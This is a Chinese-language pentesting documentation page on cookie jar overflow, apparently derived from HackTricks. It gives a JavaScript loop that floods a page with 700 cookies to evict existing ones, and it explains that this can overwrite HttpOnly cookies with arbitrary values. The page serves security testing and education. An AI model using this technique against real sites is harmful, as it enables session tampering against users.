> For the complete documentation index, see [llms.txt](https://gitbook.cdxiaodong.life/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://gitbook.cdxiaodong.life/web-ying-yong-an-quan/cookie-security/cookie-jar-overflow.md).

# Cookie溢出

浏览器对它们可以为页面存储的cookie数量有限制。这允许您通过添加新的cookie来取代cookie：

```javascript
// 设置许多cookie
for (let i = 0; i < 700; i++) {
    document.cookie = `cookie${i}=${i}; Secure`;
}

// 删除所有cookie
for (let i = 0; i < 700; i++) {
    document.cookie = `cookie${i}=${i};expires=Thu, 01 Jan 1970 00:00:01 GMT`;
}
```

{% hint style="info" %}
指向不同域的第三方cookie不会被覆盖
{% endhint %}

Cookie jar溢出可用于覆盖 `HttpOnly` cookie，因此您可以删除它们并使用任意值重置。

## 参考资料

* [HackTricks: Cookie Jar Overflow](https://book.hacktricks.xyz/pentesting-web/hacking-with-cookies/cookie-jar-overflow)
* [Overwriting HttpOnly cookies using cookie jar overflow](https://www.sjoerdlangkemper.nl/2020/05/27/overwriting-httponly-cookies-from-javascript-using-cookie-jar-overflow/)